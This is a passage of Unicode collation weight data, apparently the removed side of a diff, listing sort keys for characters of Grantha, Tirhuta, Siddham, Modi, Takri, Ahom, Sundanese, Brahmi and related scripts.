-112A7 ; [.2A64.0020.0002] # MULTANI LETTER RRA
-112A8 ; [.2A65.0020.0002] # MULTANI LETTER RHA
-11350 ; [.2A66.0020.0002] # GRANTHA OM
-11305 ; [.2A67.0020.0002] # GRANTHA LETTER A
-11306 ; [.2A68.0020.0002] # GRANTHA LETTER AA
-11307 ; [.2A69.0020.0002] # GRANTHA LETTER I
-11308 ; [.2A6A.0020.0002] # GRANTHA LETTER II
-11309 ; [.2A6B.0020.0002] # GRANTHA LETTER U
-1130A ; [.2A6C.0020.0002] # GRANTHA LETTER UU
-1130B ; [.2A6D.0020.0002] # GRANTHA LETTER VOCALIC R
-11360 ; [.2A6E.0020.0002] # GRANTHA LETTER VOCALIC RR
-1130C ; [.2A6F.0020.0002] # GRANTHA LETTER VOCALIC L
-11361 ; [.2A70.0020.0002] # GRANTHA LETTER VOCALIC LL
-1130F ; [.2A71.0020.0002] # GRANTHA LETTER EE
-11310 ; [.2A72.0020.0002] # GRANTHA LETTER AI
-11313 ; [.2A73.0020.0002] # GRANTHA LETTER OO
-11314 ; [.2A74.0020.0002] # GRANTHA LETTER AU
-11315 ; [.2A75.0020.0002] # GRANTHA LETTER KA
-11316 ; [.2A76.0020.0002] # GRANTHA LETTER KHA
-11317 ; [.2A77.0020.0002] # GRANTHA LETTER GA
-11318 ; [.2A78.0020.0002] # GRANTHA LETTER GHA
-11319 ; [.2A79.0020.0002] # GRANTHA LETTER NGA
-1131A ; [.2A7A.0020.0002] # GRANTHA LETTER CA
-1131B ; [.2A7B.0020.0002] # GRANTHA LETTER CHA
-1131C ; [.2A7C.0020.0002] # GRANTHA LETTER JA
-1131D ; [.2A7D.0020.0002] # GRANTHA LETTER JHA
-1131E ; [.2A7E.0020.0002] # GRANTHA LETTER NYA
-1131F ; [.2A7F.0020.0002] # GRANTHA LETTER TTA
-11320 ; [.2A80.0020.0002] # GRANTHA LETTER TTHA
-11321 ; [.2A81.0020.0002] # GRANTHA LETTER DDA
-11322 ; [.2A82.0020.0002] # GRANTHA LETTER DDHA
-11323 ; [.2A83.0020.0002] # GRANTHA LETTER NNA
-11324 ; [.2A84.0020.0002] # GRANTHA LETTER TA
-11325 ; [.2A85.0020.0002] # GRANTHA LETTER THA
-11326 ; [.2A86.0020.0002] # GRANTHA LETTER DA
-11327 ; [.2A87.0020.0002] # GRANTHA LETTER DHA
-11328 ; [.2A88.0020.0002] # GRANTHA LETTER NA
-1132A ; [.2A89.0020.0002] # GRANTHA LETTER PA
-1132B ; [.2A8A.0020.0002] # GRANTHA LETTER PHA
-1132C ; [.2A8B.0020.0002] # GRANTHA LETTER BA
-1132D ; [.2A8C.0020.0002] # GRANTHA LETTER BHA
-1132E ; [.2A8D.0020.0002] # GRANTHA LETTER MA
-1132F ; [.2A8E.0020.0002] # GRANTHA LETTER YA
-11330 ; [.2A8F.0020.0002] # GRANTHA LETTER RA
-11332 ; [.2A90.0020.0002] # GRANTHA LETTER LA
-11333 ; [.2A91.0020.0002] # GRANTHA LETTER LLA
-11335 ; [.2A92.0020.0002] # GRANTHA LETTER VA
-11336 ; [.2A93.0020.0002] # GRANTHA LETTER SHA
-11337 ; [.2A94.0020.0002] # GRANTHA LETTER SSA
-11338 ; [.2A95.0020.0002] # GRANTHA LETTER SA
-11339 ; [.2A96.0020.0002] # GRANTHA LETTER HA
-1133D ; [.2A97.0020.0002] # GRANTHA SIGN AVAGRAHA
-1135E ; [.2A98.0020.0002] # GRANTHA LETTER VEDIC ANUSVARA
-1135F ; [.2A99.0020.0002] # GRANTHA LETTER VEDIC DOUBLE ANUSVARA
-1133E ; [.2A9A.0020.0002] # GRANTHA VOWEL SIGN AA
-1133F ; [.2A9B.0020.0002] # GRANTHA VOWEL SIGN I
-11340 ; [.2A9C.0020.0002] # GRANTHA VOWEL SIGN II
-11341 ; [.2A9D.0020.0002] # GRANTHA VOWEL SIGN U
-11342 ; [.2A9E.0020.0002] # GRANTHA VOWEL SIGN UU
-11343 ; [.2A9F.0020.0002] # GRANTHA VOWEL SIGN VOCALIC R
-11344 ; [.2AA0.0020.0002] # GRANTHA VOWEL SIGN VOCALIC RR
-11362 ; [.2AA1.0020.0002] # GRANTHA VOWEL SIGN VOCALIC L
-11363 ; [.2AA2.0020.0002] # GRANTHA VOWEL SIGN VOCALIC LL
-11347 ; [.2AA3.0020.0002] # GRANTHA VOWEL SIGN EE
-11348 ; [.2AA4.0020.0002] # GRANTHA VOWEL SIGN AI
-1134B ; [.2AA5.0020.0002] # GRANTHA VOWEL SIGN OO
-11347 1133E ; [.2AA5.0020.0002] # GRANTHA VOWEL SIGN OO
-1134C ; [.2AA6.0020.0002] # GRANTHA VOWEL SIGN AU
-11347 11357 ; [.2AA6.0020.0002] # GRANTHA VOWEL SIGN AU
-1134D ; [.2AA7.0020.0002] # GRANTHA SIGN VIRAMA
-11357 ; [.2AA8.0020.0002] # GRANTHA AU LENGTH MARK
-1135D ; [.2AA9.0020.0002] # GRANTHA SIGN PLUTA
-114C7 ; [.2AAA.0020.0002] # TIRHUTA OM
-11480 ; [.2AAB.0020.0002] # TIRHUTA ANJI
-11481 ; [.2AAC.0020.0002] # TIRHUTA LETTER A
-11482 ; [.2AAD.0020.0002] # TIRHUTA LETTER AA
-11483 ; [.2AAE.0020.0002] # TIRHUTA LETTER I
-11484 ; [.2AAF.0020.0002] # TIRHUTA LETTER II
-11485 ; [.2AB0.0020.0002] # TIRHUTA LETTER U
-11486 ; [.2AB1.0020.0002] # TIRHUTA LETTER UU
-11487 ; [.2AB2.0020.0002] # TIRHUTA LETTER VOCALIC R
-11488 ; [.2AB3.0020.0002] # TIRHUTA LETTER VOCALIC RR
-11489 ; [.2AB4.0020.0002] # TIRHUTA LETTER VOCALIC L
-1148A ; [.2AB5.0020.0002] # TIRHUTA LETTER VOCALIC LL
-1148B ; [.2AB6.0020.0002] # TIRHUTA LETTER E
-1148C ; [.2AB7.0020.0002] # TIRHUTA LETTER AI
-1148D ; [.2AB8.0020.0002] # TIRHUTA LETTER O
-1148E ; [.2AB9.0020.0002] # TIRHUTA LETTER AU
-1148F ; [.2ABA.0020.0002] # TIRHUTA LETTER KA
-11490 ; [.2ABB.0020.0002] # TIRHUTA LETTER KHA
-11491 ; [.2ABC.0020.0002] # TIRHUTA LETTER GA
-11492 ; [.2ABD.0020.0002] # TIRHUTA LETTER GHA
-11493 ; [.2ABE.0020.0002] # TIRHUTA LETTER NGA
-11494 ; [.2ABF.0020.0002] # TIRHUTA LETTER CA
-11495 ; [.2AC0.0020.0002] # TIRHUTA LETTER CHA
-11496 ; [.2AC1.0020.0002] # TIRHUTA LETTER JA
-11497 ; [.2AC2.0020.0002] # TIRHUTA LETTER JHA
-11498 ; [.2AC3.0020.0002] # TIRHUTA LETTER NYA
-11499 ; [.2AC4.0020.0002] # TIRHUTA LETTER TTA
-1149A ; [.2AC5.0020.0002] # TIRHUTA LETTER TTHA
-1149B ; [.2AC6.0020.0002] # TIRHUTA LETTER DDA
-1149C ; [.2AC7.0020.0002] # TIRHUTA LETTER DDHA
-1149D ; [.2AC8.0020.0002] # TIRHUTA LETTER NNA
-1149E ; [.2AC9.0020.0002] # TIRHUTA LETTER TA
-1149F ; [.2ACA.0020.0002] # TIRHUTA LETTER THA
-114A0 ; [.2ACB.0020.0002] # TIRHUTA LETTER DA
-114A1 ; [.2ACC.0020.0002] # TIRHUTA LETTER DHA
-114A2 ; [.2ACD.0020.0002] # TIRHUTA LETTER NA
-114A3 ; [.2ACE.0020.0002] # TIRHUTA LETTER PA
-114A4 ; [.2ACF.0020.0002] # TIRHUTA LETTER PHA
-114A5 ; [.2AD0.0020.0002] # TIRHUTA LETTER BA
-114A6 ; [.2AD1.0020.0002] # TIRHUTA LETTER BHA
-114A7 ; [.2AD2.0020.0002] # TIRHUTA LETTER MA
-114A8 ; [.2AD3.0020.0002] # TIRHUTA LETTER YA
-114A9 ; [.2AD4.0020.0002] # TIRHUTA LETTER RA
-114AA ; [.2AD5.0020.0002] # TIRHUTA LETTER LA
-114AB ; [.2AD6.0020.0002] # TIRHUTA LETTER VA
-114AC ; [.2AD7.0020.0002] # TIRHUTA LETTER SHA
-114AD ; [.2AD8.0020.0002] # TIRHUTA LETTER SSA
-114AE ; [.2AD9.0020.0002] # TIRHUTA LETTER SA
-114AF ; [.2ADA.0020.0002] # TIRHUTA LETTER HA
-114C4 ; [.2ADB.0020.0002] # TIRHUTA SIGN AVAGRAHA
-114C5 ; [.2ADC.0020.0002] # TIRHUTA GVANG
-114B0 ; [.2ADD.0020.0002] # TIRHUTA VOWEL SIGN AA
-114B1 ; [.2ADE.0020.0002] # TIRHUTA VOWEL SIGN I
-114B2 ; [.2ADF.0020.0002] # TIRHUTA VOWEL SIGN II
-114B3 ; [.2AE0.0020.0002] # TIRHUTA VOWEL SIGN U
-114B4 ; [.2AE1.0020.0002] # TIRHUTA VOWEL SIGN UU
-114B5 ; [.2AE2.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC R
-114B6 ; [.2AE3.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC RR
-114B7 ; [.2AE4.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC L
-114B8 ; [.2AE5.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC LL
-114B9 ; [.2AE6.0020.0002] # TIRHUTA VOWEL SIGN E
-114BA ; [.2AE7.0020.0002] # TIRHUTA VOWEL SIGN SHORT E
-114BB ; [.2AE8.0020.0002] # TIRHUTA VOWEL SIGN AI
-114B9 114BA ; [.2AE8.0020.0002] # TIRHUTA VOWEL SIGN AI
-114BC ; [.2AE9.0020.0002] # TIRHUTA VOWEL SIGN O
-114B9 114B0 ; [.2AE9.0020.0002] # TIRHUTA VOWEL SIGN O
-114BD ; [.2AEA.0020.0002] # TIRHUTA VOWEL SIGN SHORT O
-114BE ; [.2AEB.0020.0002] # TIRHUTA VOWEL SIGN AU
-114B9 114BD ; [.2AEB.0020.0002] # TIRHUTA VOWEL SIGN AU
-114C2 ; [.2AEC.0020.0002] # TIRHUTA SIGN VIRAMA
-11580 ; [.2AED.0020.0002] # SIDDHAM LETTER A
-11581 ; [.2AEE.0020.0002] # SIDDHAM LETTER AA
-11582 ; [.2AEF.0020.0002] # SIDDHAM LETTER I
-115D8 ; [.2AEF.0020.0004][.0000.010B.0004] # SIDDHAM LETTER THREE-CIRCLE ALTERNATE I
-115D9 ; [.2AEF.0020.0004][.0000.010C.0004] # SIDDHAM LETTER TWO-CIRCLE ALTERNATE I
-11583 ; [.2AF0.0020.0002] # SIDDHAM LETTER II
-115DA ; [.2AF0.0020.0004][.0000.010B.0004] # SIDDHAM LETTER TWO-CIRCLE ALTERNATE II
-11584 ; [.2AF1.0020.0002] # SIDDHAM LETTER U
-115DB ; [.2AF1.0020.0004][.0000.010B.0004] # SIDDHAM LETTER ALTERNATE U
-11585 ; [.2AF2.0020.0002] # SIDDHAM LETTER UU
-11586 ; [.2AF3.0020.0002] # SIDDHAM LETTER VOCALIC R
-11587 ; [.2AF4.0020.0002] # SIDDHAM LETTER VOCALIC RR
-11588 ; [.2AF5.0020.0002] # SIDDHAM LETTER VOCALIC L
-11589 ; [.2AF6.0020.0002] # SIDDHAM LETTER VOCALIC LL
-1158A ; [.2AF7.0020.0002] # SIDDHAM LETTER E
-1158B ; [.2AF8.0020.0002] # SIDDHAM LETTER AI
-1158C ; [.2AF9.0020.0002] # SIDDHAM LETTER O
-1158D ; [.2AFA.0020.0002] # SIDDHAM LETTER AU
-1158E ; [.2AFB.0020.0002] # SIDDHAM LETTER KA
-1158F ; [.2AFC.0020.0002] # SIDDHAM LETTER KHA
-11590 ; [.2AFD.0020.0002] # SIDDHAM LETTER GA
-11591 ; [.2AFE.0020.0002] # SIDDHAM LETTER GHA
-11592 ; [.2AFF.0020.0002] # SIDDHAM LETTER NGA
-11593 ; [.2B00.0020.0002] # SIDDHAM LETTER CA
-11594 ; [.2B01.0020.0002] # SIDDHAM LETTER CHA
-11595 ; [.2B02.0020.0002] # SIDDHAM LETTER JA
-11596 ; [.2B03.0020.0002] # SIDDHAM LETTER JHA
-11597 ; [.2B04.0020.0002] # SIDDHAM LETTER NYA
-11598 ; [.2B05.0020.0002] # SIDDHAM LETTER TTA
-11599 ; [.2B06.0020.0002] # SIDDHAM LETTER TTHA
-1159A ; [.2B07.0020.0002] # SIDDHAM LETTER DDA
-1159B ; [.2B08.0020.0002] # SIDDHAM LETTER DDHA
-1159C ; [.2B09.0020.0002] # SIDDHAM LETTER NNA
-1159D ; [.2B0A.0020.0002] # SIDDHAM LETTER TA
-1159E ; [.2B0B.0020.0002] # SIDDHAM LETTER THA
-1159F ; [.2B0C.0020.0002] # SIDDHAM LETTER DA
-115A0 ; [.2B0D.0020.0002] # SIDDHAM LETTER DHA
-115A1 ; [.2B0E.0020.0002] # SIDDHAM LETTER NA
-115A2 ; [.2B0F.0020.0002] # SIDDHAM LETTER PA
-115A3 ; [.2B10.0020.0002] # SIDDHAM LETTER PHA
-115A4 ; [.2B11.0020.0002] # SIDDHAM LETTER BA
-115A5 ; [.2B12.0020.0002] # SIDDHAM LETTER BHA
-115A6 ; [.2B13.0020.0002] # SIDDHAM LETTER MA
-115A7 ; [.2B14.0020.0002] # SIDDHAM LETTER YA
-115A8 ; [.2B15.0020.0002] # SIDDHAM LETTER RA
-115A9 ; [.2B16.0020.0002] # SIDDHAM LETTER LA
-115AA ; [.2B17.0020.0002] # SIDDHAM LETTER VA
-115AB ; [.2B18.0020.0002] # SIDDHAM LETTER SHA
-115AC ; [.2B19.0020.0002] # SIDDHAM LETTER SSA
-115AD ; [.2B1A.0020.0002] # SIDDHAM LETTER SA
-115AE ; [.2B1B.0020.0002] # SIDDHAM LETTER HA
-115AF ; [.2B1C.0020.0002] # SIDDHAM VOWEL SIGN AA
-115B0 ; [.2B1D.0020.0002] # SIDDHAM VOWEL SIGN I
-115B1 ; [.2B1E.0020.0002] # SIDDHAM VOWEL SIGN II
-115B2 ; [.2B1F.0020.0002] # SIDDHAM VOWEL SIGN U
-115DC ; [.2B1F.0020.0004][.0000.010B.0004] # SIDDHAM VOWEL SIGN ALTERNATE U
-115B3 ; [.2B20.0020.0002] # SIDDHAM VOWEL SIGN UU
-115DD ; [.2B20.0020.0004][.0000.010B.0004] # SIDDHAM VOWEL SIGN ALTERNATE UU
-115B4 ; [.2B21.0020.0002] # SIDDHAM VOWEL SIGN VOCALIC R
-115B5 ; [.2B22.0020.0002] # SIDDHAM VOWEL SIGN VOCALIC RR
-115B8 ; [.2B23.0020.0002] # SIDDHAM VOWEL SIGN E
-115B9 ; [.2B24.0020.0002] # SIDDHAM VOWEL SIGN AI
-115BA ; [.2B25.0020.0002] # SIDDHAM VOWEL SIGN O
-115B8 115AF ; [.2B25.0020.0002] # SIDDHAM VOWEL SIGN O
-115BB ; [.2B26.0020.0002] # SIDDHAM VOWEL SIGN AU
-115B9 115AF ; [.2B26.0020.0002] # SIDDHAM VOWEL SIGN AU
-115BF ; [.2B27.0020.0002] # SIDDHAM SIGN VIRAMA
-11600 ; [.2B28.0020.0002] # MODI LETTER A
-11601 ; [.2B29.0020.0002] # MODI LETTER AA
-11602 ; [.2B2A.0020.0002] # MODI LETTER I
-11603 ; [.2B2B.0020.0002] # MODI LETTER II
-11604 ; [.2B2C.0020.0002] # MODI LETTER U
-11605 ; [.2B2D.0020.0002] # MODI LETTER UU
-11606 ; [.2B2E.0020.0002] # MODI LETTER VOCALIC R
-11607 ; [.2B2F.0020.0002] # MODI LETTER VOCALIC RR
-11608 ; [.2B30.0020.0002] # MODI LETTER VOCALIC L
-11609 ; [.2B31.0020.0002] # MODI LETTER VOCALIC LL
-1160A ; [.2B32.0020.0002] # MODI LETTER E
-1160B ; [.2B33.0020.0002] # MODI LETTER AI
-1160C ; [.2B34.0020.0002] # MODI LETTER O
-1160D ; [.2B35.0020.0002] # MODI LETTER AU
-1160E ; [.2B36.0020.0002] # MODI LETTER KA
-1160F ; [.2B37.0020.0002] # MODI LETTER KHA
-11610 ; [.2B38.0020.0002] # MODI LETTER GA
-11611 ; [.2B39.0020.0002] # MODI LETTER GHA
-11612 ; [.2B3A.0020.0002] # MODI LETTER NGA
-11613 ; [.2B3B.0020.0002] # MODI LETTER CA
-11614 ; [.2B3C.0020.0002] # MODI LETTER CHA
-11615 ; [.2B3D.0020.0002] # MODI LETTER JA
-11616 ; [.2B3E.0020.0002] # MODI LETTER JHA
-11617 ; [.2B3F.0020.0002] # MODI LETTER NYA
-11618 ; [.2B40.0020.0002] # MODI LETTER TTA
-11619 ; [.2B41.0020.0002] # MODI LETTER TTHA
-1161A ; [.2B42.0020.0002] # MODI LETTER DDA
-1161B ; [.2B43.0020.0002] # MODI LETTER DDHA
-1161C ; [.2B44.0020.0002] # MODI LETTER NNA
-1161D ; [.2B45.0020.0002] # MODI LETTER TA
-1161E ; [.2B46.0020.0002] # MODI LETTER THA
-1161F ; [.2B47.0020.0002] # MODI LETTER DA
-11620 ; [.2B48.0020.0002] # MODI LETTER DHA
-11621 ; [.2B49.0020.0002] # MODI LETTER NA
-11622 ; [.2B4A.0020.0002] # MODI LETTER PA
-11623 ; [.2B4B.0020.0002] # MODI LETTER PHA
-11624 ; [.2B4C.0020.0002] # MODI LETTER BA
-11625 ; [.2B4D.0020.0002] # MODI LETTER BHA
-11626 ; [.2B4E.0020.0002] # MODI LETTER MA
-11627 ; [.2B4F.0020.0002] # MODI LETTER YA
-11628 ; [.2B50.0020.0002] # MODI LETTER RA
-11629 ; [.2B51.0020.0002] # MODI LETTER LA
-1162A ; [.2B52.0020.0002] # MODI LETTER VA
-1162B ; [.2B53.0020.0002] # MODI LETTER SHA
-1162C ; [.2B54.0020.0002] # MODI LETTER SSA
-1162D ; [.2B55.0020.0002] # MODI LETTER SA
-1162E ; [.2B56.0020.0002] # MODI LETTER HA
-1162F ; [.2B57.0020.0002] # MODI LETTER LLA
-11630 ; [.2B58.0020.0002] # MODI VOWEL SIGN AA
-11631 ; [.2B59.0020.0002] # MODI VOWEL SIGN I
-11632 ; [.2B5A.0020.0002] # MODI VOWEL SIGN II
-11633 ; [.2B5B.0020.0002] # MODI VOWEL SIGN U
-11634 ; [.2B5C.0020.0002] # MODI VOWEL SIGN UU
-11635 ; [.2B5D.0020.0002] # MODI VOWEL SIGN VOCALIC R
-11636 ; [.2B5E.0020.0002] # MODI VOWEL SIGN VOCALIC RR
-11637 ; [.2B5F.0020.0002] # MODI VOWEL SIGN VOCALIC L
-11638 ; [.2B60.0020.0002] # MODI VOWEL SIGN VOCALIC LL
-11639 ; [.2B61.0020.0002] # MODI VOWEL SIGN E
-1163A ; [.2B62.0020.0002] # MODI VOWEL SIGN AI
-1163B ; [.2B63.0020.0002] # MODI VOWEL SIGN O
-1163C ; [.2B64.0020.0002] # MODI VOWEL SIGN AU
-1163F ; [.2B65.0020.0002] # MODI SIGN VIRAMA
-11644 ; [.2B66.0020.0002] # MODI SIGN HUVA
-11680 ; [.2B67.0020.0002] # TAKRI LETTER A
-11681 ; [.2B68.0020.0002] # TAKRI LETTER AA
-11682 ; [.2B69.0020.0002] # TAKRI LETTER I
-11683 ; [.2B6A.0020.0002] # TAKRI LETTER II
-11684 ; [.2B6B.0020.0002] # TAKRI LETTER U
-11685 ; [.2B6C.0020.0002] # TAKRI LETTER UU
-11686 ; [.2B6D.0020.0002] # TAKRI LETTER E
-11687 ; [.2B6E.0020.0002] # TAKRI LETTER AI
-11688 ; [.2B6F.0020.0002] # TAKRI LETTER O
-11689 ; [.2B70.0020.0002] # TAKRI LETTER AU
-116A8 ; [.2B71.0020.0002] # TAKRI LETTER SA
-116A7 ; [.2B72.0020.0002] # TAKRI LETTER SHA
-116A9 ; [.2B73.0020.0002] # TAKRI LETTER HA
-1168A ; [.2B74.0020.0002] # TAKRI LETTER KA
-1168B ; [.2B75.0020.0002] # TAKRI LETTER KHA
-1168C ; [.2B76.0020.0002] # TAKRI LETTER GA
-1168D ; [.2B77.0020.0002] # TAKRI LETTER GHA
-1168E ; [.2B78.0020.0002] # TAKRI LETTER NGA
-1168F ; [.2B79.0020.0002] # TAKRI LETTER CA
-11690 ; [.2B7A.0020.0002] # TAKRI LETTER CHA
-11691 ; [.2B7B.0020.0002] # TAKRI LETTER JA
-11692 ; [.2B7C.0020.0002] # TAKRI LETTER JHA
-11693 ; [.2B7D.0020.0002] # TAKRI LETTER NYA
-11694 ; [.2B7E.0020.0002] # TAKRI LETTER TTA
-11695 ; [.2B7F.0020.0002] # TAKRI LETTER TTHA
-11696 ; [.2B80.0020.0002] # TAKRI LETTER DDA
-11697 ; [.2B81.0020.0002] # TAKRI LETTER DDHA
-11698 ; [.2B82.0020.0002] # TAKRI LETTER NNA
-11699 ; [.2B83.0020.0002] # TAKRI LETTER TA
-1169A ; [.2B84.0020.0002] # TAKRI LETTER THA
-1169B ; [.2B85.0020.0002] # TAKRI LETTER DA
-1169C ; [.2B86.0020.0002] # TAKRI LETTER DHA
-1169D ; [.2B87.0020.0002] # TAKRI LETTER NA
-1169E ; [.2B88.0020.0002] # TAKRI LETTER PA
-1169F ; [.2B89.0020.0002] # TAKRI LETTER PHA
-116A0 ; [.2B8A.0020.0002] # TAKRI LETTER BA
-116A1 ; [.2B8B.0020.0002] # TAKRI LETTER BHA
-116A2 ; [.2B8C.0020.0002] # TAKRI LETTER MA
-116A3 ; [.2B8D.0020.0002] # TAKRI LETTER YA
-116A4 ; [.2B8E.0020.0002] # TAKRI LETTER RA
-116A5 ; [.2B8F.0020.0002] # TAKRI LETTER LA
-116A6 ; [.2B90.0020.0002] # TAKRI LETTER VA
-116AA ; [.2B91.0020.0002] # TAKRI LETTER RRA
-116AD ; [.2B92.0020.0002] # TAKRI VOWEL SIGN AA
-116AE ; [.2B93.0020.0002] # TAKRI VOWEL SIGN I
-116AF ; [.2B94.0020.0002] # TAKRI VOWEL SIGN II
-116B0 ; [.2B95.0020.0002] # TAKRI VOWEL SIGN U
-116B1 ; [.2B96.0020.0002] # TAKRI VOWEL SIGN UU
-116B2 ; [.2B97.0020.0002] # TAKRI VOWEL SIGN E
-116B3 ; [.2B98.0020.0002] # TAKRI VOWEL SIGN AI
-116B4 ; [.2B99.0020.0002] # TAKRI VOWEL SIGN O
-116B5 ; [.2B9A.0020.0002] # TAKRI VOWEL SIGN AU
-116B6 ; [.2B9B.0020.0002] # TAKRI SIGN VIRAMA
-11700 ; [.2B9C.0020.0002] # AHOM LETTER KA
-11701 ; [.2B9D.0020.0002] # AHOM LETTER KHA
-11702 ; [.2B9E.0020.0002] # AHOM LETTER NGA
-11703 ; [.2B9F.0020.0002] # AHOM LETTER NA
-11704 ; [.2BA0.0020.0002] # AHOM LETTER TA
-11705 ; [.2BA0.0020.0004][.0000.010B.0004] # AHOM LETTER ALTERNATE TA
-11706 ; [.2BA1.0020.0002] # AHOM LETTER PA
-11707 ; [.2BA2.0020.0002] # AHOM LETTER PHA
-11708 ; [.2BA3.0020.0002] # AHOM LETTER BA
-11709 ; [.2BA4.0020.0002] # AHOM LETTER MA
-1170A ; [.2BA5.0020.0002] # AHOM LETTER JA
-1170B ; [.2BA6.0020.0002] # AHOM LETTER CHA
-1170C ; [.2BA7.0020.0002] # AHOM LETTER THA
-1170D ; [.2BA8.0020.0002] # AHOM LETTER RA
-1170E ; [.2BA9.0020.0002] # AHOM LETTER LA
-1170F ; [.2BAA.0020.0002] # AHOM LETTER SA
-11710 ; [.2BAB.0020.0002] # AHOM LETTER NYA
-11711 ; [.2BAC.0020.0002] # AHOM LETTER HA
-11712 ; [.2BAD.0020.0002] # AHOM LETTER A
-11713 ; [.2BAE.0020.0002] # AHOM LETTER DA
-11714 ; [.2BAF.0020.0002] # AHOM LETTER DHA
-11715 ; [.2BB0.0020.0002] # AHOM LETTER GA
-11716 ; [.2BB0.0020.0004][.0000.010B.0004] # AHOM LETTER ALTERNATE GA
-11717 ; [.2BB1.0020.0002] # AHOM LETTER GHA
-11718 ; [.2BB2.0020.0002] # AHOM LETTER BHA
-11719 ; [.2BB3.0020.0002] # AHOM LETTER JHA
-11720 ; [.2BB4.0020.0002] # AHOM VOWEL SIGN A
-11721 ; [.2BB5.0020.0002] # AHOM VOWEL SIGN AA
-11722 ; [.2BB6.0020.0002] # AHOM VOWEL SIGN I
-11723 ; [.2BB7.0020.0002] # AHOM VOWEL SIGN II
-11724 ; [.2BB8.0020.0002] # AHOM VOWEL SIGN U
-11725 ; [.2BB9.0020.0002] # AHOM VOWEL SIGN UU
-11726 ; [.2BBA.0020.0002] # AHOM VOWEL SIGN E
-11727 ; [.2BBB.0020.0002] # AHOM VOWEL SIGN AW
-11728 ; [.2BBC.0020.0002] # AHOM VOWEL SIGN O
-11729 ; [.2BBD.0020.0002] # AHOM VOWEL SIGN AI
-1172A ; [.2BBE.0020.0002] # AHOM VOWEL SIGN AM
-1172B ; [.2BBF.0020.0002] # AHOM SIGN KILLER
-1171D ; [.2BC0.0020.0002] # AHOM CONSONANT SIGN MEDIAL LA
-1171E ; [.2BC1.0020.0002] # AHOM CONSONANT SIGN MEDIAL RA
-1171F ; [.2BC2.0020.0002] # AHOM CONSONANT SIGN MEDIAL LIGATING RA
-1B83  ; [.2BC3.0020.0002] # SUNDANESE LETTER A
-1BBA  ; [.2BC3.0020.0004] # SUNDANESE AVAGRAHA
-1B84  ; [.2BC4.0020.0002] # SUNDANESE LETTER I
-1B85  ; [.2BC5.0020.0002] # SUNDANESE LETTER U
-1B86  ; [.2BC6.0020.0002] # SUNDANESE LETTER AE
-1B87  ; [.2BC7.0020.0002] # SUNDANESE LETTER O
-1B88  ; [.2BC8.0020.0002] # SUNDANESE LETTER E
-1B89  ; [.2BC9.0020.0002] # SUNDANESE LETTER EU
-1B8A  ; [.2BCA.0020.0002] # SUNDANESE LETTER KA
-1BBE  ; [.2BCA.0020.0019] # SUNDANESE LETTER FINAL K
-1BAE  ; [.2BCB.0020.0002] # SUNDANESE LETTER KHA
-1B8B  ; [.2BCC.0020.0002] # SUNDANESE LETTER QA
-1B8C  ; [.2BCD.0020.0002] # SUNDANESE LETTER GA
-1B8D  ; [.2BCE.0020.0002] # SUNDANESE LETTER NGA
-1B8E  ; [.2BCF.0020.0002] # SUNDANESE LETTER CA
-1B8F  ; [.2BD0.0020.0002] # SUNDANESE LETTER JA
-1B90  ; [.2BD1.0020.0002] # SUNDANESE LETTER ZA
-1B91  ; [.2BD2.0020.0002] # SUNDANESE LETTER NYA
-1B92  ; [.2BD3.0020.0002] # SUNDANESE LETTER TA
-1B93  ; [.2BD4.0020.0002] # SUNDANESE LETTER DA
-1B94  ; [.2BD5.0020.0002] # SUNDANESE LETTER NA
-1B95  ; [.2BD6.0020.0002] # SUNDANESE LETTER PA
-1B96  ; [.2BD7.0020.0002] # SUNDANESE LETTER FA
-1B97  ; [.2BD8.0020.0002] # SUNDANESE LETTER VA
-1B98  ; [.2BD9.0020.0002] # SUNDANESE LETTER BA
-1BBD  ; [.2BDA.0020.0002] # SUNDANESE LETTER BHA
-1B99  ; [.2BDB.0020.0002] # SUNDANESE LETTER MA
-1BBF  ; [.2BDB.0020.0019] # SUNDANESE LETTER FINAL M
-1BAC  ; [.2BDC.0020.0002] # SUNDANESE CONSONANT SIGN PASANGAN MA
-1B9A  ; [.2BDD.0020.0002] # SUNDANESE LETTER YA
-1BA1  ; [.2BDE.0020.0002] # SUNDANESE CONSONANT SIGN PAMINGKAL
-1B9B  ; [.2BDF.0020.0002] # SUNDANESE LETTER RA
-1BA2  ; [.2BE0.0020.0002] # SUNDANESE CONSONANT SIGN PANYAKRA
-1BBB  ; [.2BE1.0020.0002] # SUNDANESE LETTER REU
-1B9C  ; [.2BE2.0020.0002] # SUNDANESE LETTER LA
-1BA3  ; [.2BE3.0020.0002] # SUNDANESE CONSONANT SIGN PANYIKU
-1BBC  ; [.2BE4.0020.0002] # SUNDANESE LETTER LEU
-1B9D  ; [.2BE5.0020.0002] # SUNDANESE LETTER WA
-1BAD  ; [.2BE6.0020.0002] # SUNDANESE CONSONANT SIGN PASANGAN WA
-1B9E  ; [.2BE7.0020.0002] # SUNDANESE LETTER SA
-1B9F  ; [.2BE8.0020.0002] # SUNDANESE LETTER XA
-1BAF  ; [.2BE9.0020.0002] # SUNDANESE LETTER SYA
-1BA0  ; [.2BEA.0020.0002] # SUNDANESE LETTER HA
-1BA4  ; [.2BEB.0020.0002] # SUNDANESE VOWEL SIGN PANGHULU
-1BA5  ; [.2BEC.0020.0002] # SUNDANESE VOWEL SIGN PANYUKU
-1BA6  ; [.2BED.0020.0002] # SUNDANESE VOWEL SIGN PANAELAENG
-1BA7  ; [.2BEE.0020.0002] # SUNDANESE VOWEL SIGN PANOLONG
-1BA8  ; [.2BEF.0020.0002] # SUNDANESE VOWEL SIGN PAMEPET
-1BA9  ; [.2BF0.0020.0002] # SUNDANESE VOWEL SIGN PANEULEUNG
-1BAA  ; [.2BF1.0020.0002] # SUNDANESE SIGN PAMAAEH
-1BAB  ; [.2BF2.0020.0002] # SUNDANESE SIGN VIRAMA
-11005 ; [.2BF3.0020.0002] # BRAHMI LETTER A
-11006 ; [.2BF4.0020.0002] # BRAHMI LETTER AA
-11007 ; [.2BF5.0020.0002] # BRAHMI LETTER I
-11008 ; [.2BF6.0020.0002] # BRAHMI LETTER II
-11009 ; [.2BF7.0020.0002] # BRAHMI LETTER U
-1100A ; [.2BF8.0020.0002] # BRAHMI LETTER UU
-1100B ; [.2BF9.0020.0002] # BRAHMI LETTER VOCALIC R
-1100C ; [.2BFA.0020.0002] # BRAHMI LETTER VOCALIC RR
-1100D ; [.2BFB.0020.0002] # BRAHMI LETTER VOCALIC L
